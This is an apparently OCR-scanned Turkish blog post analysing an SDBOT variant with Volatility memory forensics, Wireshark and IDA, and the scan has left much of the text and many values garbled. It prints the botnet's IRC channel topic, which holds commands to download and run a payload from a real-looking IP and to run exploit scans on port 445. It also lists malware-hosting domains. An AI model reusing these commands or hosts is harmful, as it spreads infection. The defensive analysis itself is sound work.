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Yine bir gun twitter.com/hack4career hesabindan duyurulan hack edilmis

ve/veya zararli yazilim barindiran web sitelerine g6z atarken giin asiri

tespit edilen, cogunlukla iki harften olusan zararli yazilaimlar (aa.exe,

bb.exe vb.) ve bunlari barindiran IP adresleri dikkatimi cekti. IP

adreslerinden gincel olanini Google arama motoru Uzerinde arattigimda

malcOde.com isimli bir web sitesi ile karsilastim. Benim de ilk defa

karsilastigim bu sitenin kurulus amacinin, ayni zararli yazilimlari

barindiran ve yayan farkli web sitelerini birbirleriyle iliskilendiren bir

veritabani oldugunu 6grendim.
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Bu veritabani, Uzerinde uUlke bazli ve ASN bazli (Autonomous System Name)
arama yapilabiliyor olmasi sayesinde zararli yazilaim analistlerinden guvenli
barindirma hizmeti arayanlara kadar bircok kisi tarafindan kullanilabilir.

ggg.exe uzantili dosyayi barindiran ASN’e yonelik arama yaptigimda benzer
isimli zararli yazilaimlarin 2011 yilinin Ocak ayindan bu yana ayni ASN
Uzerinde tespit ediliyor olmasi ve tespit edilen zararli yazilimlarin

saylsinin 300’0 askin olmasi merakimi cezbetti ve deneme yanilma ile hhh.exe
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Bu defa daha 6nce gerceklestirmis oldugum alisilagelmis analizlerin aksine
zararli yazilimin calistigi sistemin bellegini diske kaydederek bellek
(memory) analizi gerceklestirmeye karar verdim.

Adli bilisimde bellek analizi (memory forensic) denilince akla gelen ilk arag
Volatility‘dir. Aslinda arac¢ dersek haksizlik etmis olabiliriz cinkid isin
asli Volatility, Python ile yazilmis bircok aractan olusan bir catadir
(framework). Volatility ile diske kayit edilmis (dump) olan bellek dosyasini
analiz ederek sistem lzerinde calisan programlardan, ag baglantilarina, yukli
olan DLL’lerden, kayit defterinde (registry) yer alan anahtarlara g6z atmaya
kadar hedef sistem ile ilgili olan bircok islem gerceklestirebilirsiniz.

Volatility 2.0 strdmi ile Windows XP SP2/SP3, Windows 2003 SPOQ/SP1/SP2, Vista
SPO/SP1/SP2, Windows 2008 SP1/SP2 ve Windows 7 SPO/SP1 sistem goOrintilerini
(image) analiz edilebilmektedir.

Volatility ile analiz edecegimiz bellek dosyasini olusturmak icin oncelikle
hedef sistem Uzerinde MoonSols firmasi tarafindan gelistirilen DumpIt

programinin calistirilmasi gerekmektedir.

I1k is olarak hhh.exe dosyasini Windows 7 {izerinde calisan Windows XP SP3
sistemine kopyaladiktan sonra Windows 7 lzerinde Wireshark aracini
calistirarak zararli yazilim tarafindan hedef sistem Uzerinde Uretilmesi


https://www.volatilesystems.com/default/volatility
http://www.moonsols.com/2011/07/18/moonsols-dumpit-goes-mainstream/

muhtemel olan trafigi kayit altina almasini sagladim. hhh.exe dosyasi

tUzerinde yer alan lstveriye (metadata) baktigimda Logitech firmasi tarafindan
gelistirilmis bir aracmis gibi kendini tanimladigini gordim. Ardindan hhh.exe
isimli zararli yazilimi hedef sistem lzerinde calistirdiktan sonra daha dnce

hedef sisteme kopyalamis oldugumu DumpIt aracini calistirarak sistemin
bellegini diske kayit etmesini sagladim.
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Zararli yazilaimi calistirir calistirmaz Wireshark araci lUzerinde HTTP ve IRC
trafigi olustugunu gordim ve bir IRC istemci yazilimi ile tespit edilen bu
IRC sunucusuna baglandim. Sunucuya baglandigimda kanalin bos olmasi, botlarin
ifsa olmasini engelleme adina 6zel olarak gelistirilmis/modifiye edilmis bir
irc sunucusu olduguna isaret ediyordu. Botun IRC kanalina giris yapar yapmaz,
internete c¢ikis yaptigi ip adres blogunun 445. baglanti noktasini otomatik
olarak taramaya (port scan) baslamasi da g6zimden kac¢madi. Wireshark
tuzerindeki HTTP paketlerini inceledigimde ise botun NAT’lanmis IP adresini
ogrenebilmek ig¢in bir kac¢ sayfaya baglanmaya calistigini farkettim.
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HTTP_ACCEPT = text/html,application/xhtml+xml,application/xml;g=0.8,%/%;q=0.8
HTTP_ACCEPT_CHARSET = IS50-8859-1,utf-8;g=0.7,%;q=0.3

HITP ACCEPT ENCODING — gzip,deflate,sdch

HTTP_ACCEPT LANGUAGE = en-US,en:q=0.%8

HTTP_CONNECTION = keep-alive

HITP_HOST = www.pr0.net

HITP_USER_AGENT = Mozilla/5.0 (Windows NT 6.1} AppleWebKit/535.7 (KHIML, like Gecko) Chrome/16.0.812.63 Safari/535.7
REMOTE_ADDR = 78.179.208.1H

REMOTE_PORT = 27936

REQUEST_METHOD = GET

REQUEST URI = /deny2/azenv.php

REQUEST TIME = 1324575554

7 roton e seream il
Stream Content:

NICK [NOO_TUR_XP_1449297]

USER SP3-687 * 0 :MERT-6756C49361

:irc.dal.net NOTICE AUTH :*** Looking up your hostname.

:irc.dal.net NOTICE AUTH :*** Couldn't resolve your hostname, using your IP address instead
:irc.dal.net 001 [NDU,TUILXPJ‘MEZE?]

:irc.dal.net 002 [NOO_TUR_XP_1449297] : MOdded by unknOwn Crew
rirc.dal.net 003 [NOO_TUR_XP_1449297]
iirc.dal.net 004 [NOO_TUR_XP_1449297] : wwwi, UNKNOwn. eu - 1DEuNknOwn. eu

:irc.dal.net 005 [NOO_TUR_XP_1449297]

:irc.dal.net 005 [NOO_TUR_XP_1449297]

:irc.dal.net 005 [NOO_TUR_XP_1449297]

rirc.dal.net 422 [NOO_TUR_XP_1449297] :MOTD File is missing
:[NDU TUR_XP_1449297] MODE [NOO_TUR_XP_1449297] :+iwG

DE [NOO_TUR_XP_1443297] -ix
]DIN #h
0DE [r-m _TUR_XP_1449207] -ix
JOIN
0DE [m:»u TUR_XP_1449297] —ix
JOIN

UDE [NDD TLIR_XP_1449297] —-ix

IN
[NDU TUR_XPJ449297] 15p3-687@78.179.208. Il JOIN :#h
:irc.dal.net 332 [NOO_TUR_XP_1449297] #h :.asc -s -s |.http http://46.45.164.165/hhh.exe |.asc exp_all 15 5 0 -c -e |.asc exp_all 15 5 0 -b -r -e |.asc exp_all 15 5
n—clastexpa'\'llnﬁn—a—r—eI.asce all 10 5 0 -c -e
:irc.dal.net 333 [NOO_TUR_XP_1449297] #h j 1324470020
PRIVMSG #hs :HTTP SET http://46.45.164. 165/hhh. exe
:irc.dal.net 401 [NOO_TUR_XP_1449297] #hs :No such nick/channel
PRIVMSG #h :scan; Sequential Port Scan started on 78.179.208.0:445 with a delay of 5 seconds for 0 minutes using 15 threads.
:irc.dal.net 404 [NOO_TUR_XP_1449297] #h :You must have a registered nick (+r) to talk on this channel (#h)
PRIVMSG #h :scan; Random Port Scan started on 78.179.x.x:445 with a delay of 5 seconds for 0 minutes uswn 15 threads.
:irc.dal.net 404 [NOO_TUR_XP_1449297] #h :You must have a registered nick (+r) to talk on this channel
PRIVMSG #h :scan; Sequential Port Scan started on 192.168.18.0:445 with a delay of 5 seconds for 0O m1nutes using 15 threads.
rirc.dal.net 404 [NOO_TUR_XP_1449297] #h :You must have a r991 stered nick (+r) to talk on this channel (#h)
PRIVMSG #h :scan; Random Port Scan started on 7B.x.x.x:i445 with a delay of 5 seconds for 0 minutes using 10 threads.
:irc.dal.net 404 [NOO_TUR_XP_1449297] #h :You must have a registered nick (+r) to talk on this channel
PRIVWMSG #h :scan; sequential port scan started on 78.179.208.0:445 with a delay of 5 seconds for 0 minutes using 10 threads.
rirc.dal.net 404 [NOO_TUR_XP_1449297] #h :You must have a registered nick (+r) to talk on this channel (#h)
PING :irc.dal.net
PONG irc.dal.net

[entre conversation (2544 bytes) =

Find | Save As Print (" AsCII " EBCDIC ' Hex Dump " CArrays. 1% Raw

Filter Out This Stream | Close I




I72 mIRC - [#h (irc.dalnet, NOO_TUR_XP_1449297) [1}: .asc -S -s |.http http://46.45.164.165/hhh.exe |.asc exp_all 1550 -c-e |.asc exp_all1550 -b -r -e |.as] (=]
D Ele View Favorites Tools Commands Window Help _= x|

i a0 EHEm L AR e BEORS
{ [ redalnet NDO_T... |[“]#n [Elns

~|HB@_TUR_XP
[=H2¥ irc.dal.net NOO_TUR _XP_ J = e
)£ Channel: 2
e
..... ] #hs
= Now talking in #h
# Topic is '.asc -S -5 |.http http://u46.45.164.165/hhh_exe |.asc exp_all 15 5 @ -¢ -e |.asc exp_all 15 5 @ -b -r -e |.asc exp_all 15 5
B -c |.asc exp_all 185 8 -a - -e |.asc exp_all 18 5 @ -c -e* |
* Set by j on Wed Dec 21 16:58:20 =
[

Zararli yazilim ile ilgili daha fazla bilgi almak icin Volatility ile bellek
dosyasini incelemeye basladim.

I1k olarak PSLIST komutu ile sistem lzerinde calisan islemleri (process)
listeledim ve calistirilma zamanina gore zararli yazilimin sistem Uzerinde
2888 PID’sine sahip indek.exe adi altinda calistigini gordim.



[&+] G\Windows\system32\cmd.exe 8 =2 x|
C:sUzerssMertsDesktopsUol wolatility—2 . B.standalone>uolatility.exe pslist —f HERI’
T-6756C49361-20111222-172321 _rau

Uolatile Systems Uolatility Framework 2.8

Offzet{l> Hame PPID Thds Hnds Time

EMES . EXe
CEFSS .EXE
winlogon .exe
seryices . exe
lsass.exe
vmacthlp.exe
suchost .exe
suchost .exe
suchost .exe
suchost .exe
suchost .exe
explorer.exe
spoolsv . exe
UHuareTray.exe
UMuarellzer . exe
Jusched.exe
ctfmon.exe
suchost .exe
Jus .exe
ShieSvc .exe
umtoo lsd.exe

UMUpgradeHe 1per

alg.exe

wscntfu.exe
indek.exe

Dumplt.exe

[ T
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1978-81-81
2811-12-22
2811-12-22
2811-12-22
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2811-12-22
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2811-12-22
2811-12-22
2811-12-22
2811-12-22
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2811-12-22
2811-12-22

28111222

#@ 8@ - 8@
16:27:25
16:27:27
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16:27:28
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16:27:28
16:27:28
16:27:29
16:27:38
16:27:31
16:27:31
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16:27:32
16:27:32
16:27:33
16:27:47
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16:27:47
16:27:57
16:27:572
16:23:8@
17:23:87
17:23:21 b

DLLLIST komutu ile zararli yazilim tarafindan yuklenen DLL dosyalarini
listeledigimde ise urlmon.dll ve cryptdll.dll dosyalari supheli duruyordu.




[&+] G\Windows\system32\cmd.exe -2 x|

C:\Users\ﬂert\ﬂesktnp\”ul\uulatility—Z.E.ééandalnne}uulatility.exe dlllist —f HEII
RT-6756C49361-20111222-172321 _.yaw —p 2888
Uolatile Systems Uolatility Framework 2.8

indek.exe pid: 2888
Command line = C:SWINDOWS“indek.exe
Service Pack 3

Size

BxA8548008
BxBh2B888
Bx8f 6808
Bx13d888
B89 hABA
Bx@7 2888
Bx8118088
Bx847888
Bx891 8088
Bxa55888
Bx81 4888
Bx81 7888
Bx888808
BxBe 6888
Bx8760008
BxB887888
Bx133888
Bx88hBBa
Bx1ef80008
Bx183888

=_hL9Lhbdid44ccfidf _6.8.260

Bx8178088
B89 28008
BxA55888
Bx8270008
Bx81 7888
Bx8128008
Bx@3d888
BxB8498008
Bx81 7888
BxB8LBBA
Bx83f 888
Bx8888008
Bx82cB88
Bx886808
BxA55888
Bx8888008
Bx@3cB8a
Bx81 280808
Bx82 f 888
BxB88e8008
Bx82d888
Bx8h4808
Bx@25888
BxB88c 808
BxB885888
Bx888808

DOWES indek.exe
DOWS~system32swntdll.dl1l
DOUSE s ystemd2hkernel32 _dll
DOWS~system32~wnled2 . dll
DOUS s ystem32~ADUAPI3Z2 .d11
DOWS s ysten32~RPCRT4.d11
DOWS s ystemd2nSecurd2 _dll
pOUS s ysten3d2~GDI32 _d11
DOUS s y=ten32~USER32 _d11
DOUS~systemI2 wmsvcrt.dll
POUS s ystend 2~ THM32 . DLL
DOUS~systemI2wus2_32.d11
DOUS s ystend 2 ~WS2HELP.d11
POUS~systemd2 wininet.d11
DOUS s ystend 2~ SHLWAPT .d11
DOUS~systemI2sNormali=.dll
DOWES s ystem32%ur lmon .d11l
DOWS s ysten32~0LEAUT32 .d11
DOUS s ystemd2hiertutil . dll
DOWSMinSx8~xB6_Microsoft _Windows .Common—Control
_x—uww_35d4cedIcomct 132 .d11
DOUS s ysten3d2~SHELL3Z .d11
DOUS s ystem32%comct 132 .d11l
DOWS~systemI2wnetapild2 . dll
DOUES s ystemnd2hdnsapi.dll
DOWS~systemI2~iphlpapi.dll
DOUE s ystemd2mpr .d1l
DOUS~system3I2~odhc32 .d11
DOUSE s ystem32vcomdlg32 _dl1l
pOUS~systemI2~odbcint.dll
DOWSE s ystemd2hpsapi.dll
POUS~Systemd2 wmswsock.dll
DOUE~Eystemd2swinrnyr .dll
DOUS s ysten3d2~WLDAF3IZ .d11
DOUSE s ystemd2srasadhlp.dll
pOUS~systemI2shnetcfg.dll
DOUE~ S ystem32suwshtepip.dll
DOWS s ysten32~RASAFI3Z .d11
DOUE s ystemd2hrasman .dll
DOWS s ysten32~TAPI3Z2 . d11
DOWS s ystemd2hptutils .dll
pOUS s ysten3d2~WINHH.d11
DOUS s ysten3d2~USERENU .d11
DOUS~systemI2wmsul_BA.d11
DOUS s ystem32hcruptdl]l . dll
POUS~systemd2 senzapi.dll
DOUS s ysten3d2~UERSION.d11
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C:sUserssMertsDesktop*Uol wolatility—-2 B.standalone g

CONNSCAN komutu ile sistem uUzerindeki aktif ag baglantilarini listeledigimde
ise 2888 PID’'si ile cok sayida baglanti kuruldugunu gordim.
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C\Windows\system32\cmd.exe
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PROCEXEDUMP komutu ile indek.exe yazilimina ait olan bellegi diske

kaydettikten sonra strings ve IDA PRO programlari ile inceledigimde ise bu

zararli yazilimin SDBOT’in bir varyanti oldugunu kolayca anladim.



[&+] G\Windows\system32\cmd.exe

C:sUserssMertsDesktop*Uol wolatility—-2 _ B.standalonevolatility_exe —f MERT-6756C
49361 -20111222-172321 .raw procexedump —p 2888 —-D memndump

Uolatile Systems Uolatility Framework 2.8

Dumping indek.exe,. pid: 2888 output: executable. 2888 exe

C:sUserssMertsDesktop*Uol wolatility—-2 B.standalone g




[&+] G\Windows\system32\cmd.exe _

C:sUserssMertsDesktopsUol wolatility—-2 _ B.standalonesmemdump*strings executahle.2
888 .exe | grep —i http:/rs

http:/2vwww . pré_netsdeny?.azenv.php

httpss7vwuw.cooleasy.comsazeny .. php

http:/7bigfish82118 _bi_funpic.desazenviB4d./azenv.php

http: 7Bx1@3f .webuda.comns

C:sUzerssMertsDesktopsUol wolatility—2 . B.standalonesmemdump>sztrings executable.2
888 .exe | grep —1i irc
irc;

slUzerssMertsDesktop Vol wolatility—2 .B.standalonesmemdump*strings executahle.2
i grep —i PRIUVMEG

PRIUMEG x= :txs

C:sUserssMertsDesktopsUol wolatility—-2 B.standalonesmemdump*strings executahle.2
888 .exe | grep —i wuww.

Susinternals — www_sysinternals.con

LILIL 5

http:/2vwww . prd_netsdenyZ.azenv.php

httpss7vwuww.cooleasy.comsazeny .. php

v . facebookvideocentral.com

vy . merkurvideo .com

v . facebookvideocentral.com

vy . merkurvideo .com

C:sUzerssMertsDesktopslUol wolatility—2 . B.standalone memdumnp g




&) IDA - C:\Documents and Settings\A dministrator\Desktoplvolatility-2.0.standalone\memdumplexecutable. 2BBB.exe
File Edit Jump Search Wiew Debugger Options Mindows Help

=EE - i i 1 |[Tent ~| L= x
ENE] "HAS A sENa|eT| imE e

Boen| WA -« NX| - #-wSHK=~ F| : ;8% |unm &R &
EHs FBR FAA
e e

w\Functlonswmduw EIE | @ [E oaviews (5 Heviews @ B Stuctures |EIER Erums |EIEE Impors |E3 5 Evpors ¥
Function name o
l:@mh‘mmm |;ﬂus': Ll dword ptr [esi] ; 1pString?2|

£ sub_#01162 2

b ush  offset alpdst3 ; “updst3”

7] sub_4011CE p : POt P

‘\;subiamzw call edi ; lstrcmpif
.\_J - test eax, eax
[ st 01300 jz short loc_4828DA

7] sub_401338

77 sub_4011E18
| N

1] sub_401E9F B Ml

457 sub_401FCT ush dword ptr [esi] ; 1pString2|

P P p i

"{fjsub_tlUZElCE push offset aRemove ; “remove™

"@‘wbjggng call edi ; lstrcmpin
| 3] sub_s0214F test pax, eax
| \@\ sub_402288 jz loc_4834A8
| %7 Stathddress L
|~

7] sub_402602
| 5 sub_402610 NN Ll 5 ]

"ﬂsub 402755 push dword ptr [esi] ; 1lpString2

~ = push offset aRmzerm3dbitch ; "rmzermibitch”

17 sub_40282C 5 5

b call edi ; lstrcmpif

\ﬂsub_dUEIaAE test eax, eax

JAlaubs S034TF jnz short loc_48298F

17 WinMain(x.x.x.x) o ] l
% > [

Line 16 of 123 100.00% (8004, 1617)  (757,103) 00001CCA  004028CA: sub_40282C+3E

. Dutput windows o]
F‘ythun 2.6.6 (rz66:84257, Aug 24 2010, 18:46:32) [MSC w.1500 32 bit (Intel)] &
mAPythnn V1.5.0 final (Serial 6) (c) The IDAFython Team <idapythor@goog] egroups . com 3
F‘ythnn )
Al idle Down | Disk: 4GE Click and draq ko delete from selection; DbIClick on edge to jump to its source; Wheel to scroll harizontally

Son olarak zararli yazilaim Uzerinde yer alan zaman damgasina baktigimda

SDBOT varyantinin hemen hemen hergin giincellenip derlendigi sonucu ortaya

¢ikiyordu.

" PE Explorer - C:\Documents and Settings\A dministrator\Desktopihhh.exe

File  %iew  Toolz  Help

B3 W WER PERFARG| AuBEE| @

_.1:| Address of Entry Paoint: (00401535 7 Real Image Checkaum: I:l =l

Field Mame Data alue Dezcription Field Mame Data*alue Descriphion
M achine 14ChH [ Sechon Alignment 000071000k

Murmber of Sections 0003k File Alignment 00001000k

Tirme Date Stamp 211252001 14:27:10 Operating System Version 00000004k 4.0

Prointer to Symbal T able 00000000k Image Yersion 000C0003k 312
MNumber of Symbolz 00000000k Subsystem Yersion 00000004k 40

Size of Optional Header Q0EDh Win3Z Verzion Value 00000000k Rezerved
Characteristics 1 0Fh 5 Size of Image 0002C000R 180224 bytes
M aaic 0OEH FE32 Size of Headers 00001000k

Linker Yerzion 000ER E.0 Checksum 000241 Bah

Size of Code 00074000k Subsystem 0002k Wwin3z2 GUI
Size of Initialized Data 00011000k Dl Characteristics 0000k

Size of Uninitialized D ata 00000000k Size of Stack Reserve 00100000k

Addrezz of Entry Paint 00401538k Size of Stack Commit 00001 000k

Baze of Code 00001000k Size of Heap Reserve 00100000k

Baze of Data 0001 5000k Size of Heap Commit 000071000k

Image Base 00400000k Loader Flags 00000000k Obzolete

Murmber of Diata Directories 0000001 0k

i 0002A16RK ¢ Real Che : 0002FF2%h)




GOoruldugu uzere bellek analizi ile zararli yazilimlar, dinamik analiz kadar
olmasa da rahatlikla analiz edilebilir ve yeterli bir elde edilebilinir.
0zellikle bu yazida deginmedigim diger Volatility komutlarina (malfind, gdt,
apihooks, idt, vb.) g6z atacak olursaniz bellek analizi ile rootkit
yazilimlarini dahi tespit etmeniz miamkin olabilir.

Bir sonraki yazida goriusmek dilegiyle yeni yilin herkese saglik, mutluluk ve
bol kazan¢ getirmesini dilerim.


http://code.google.com/p/volatility/wiki/CommandReference

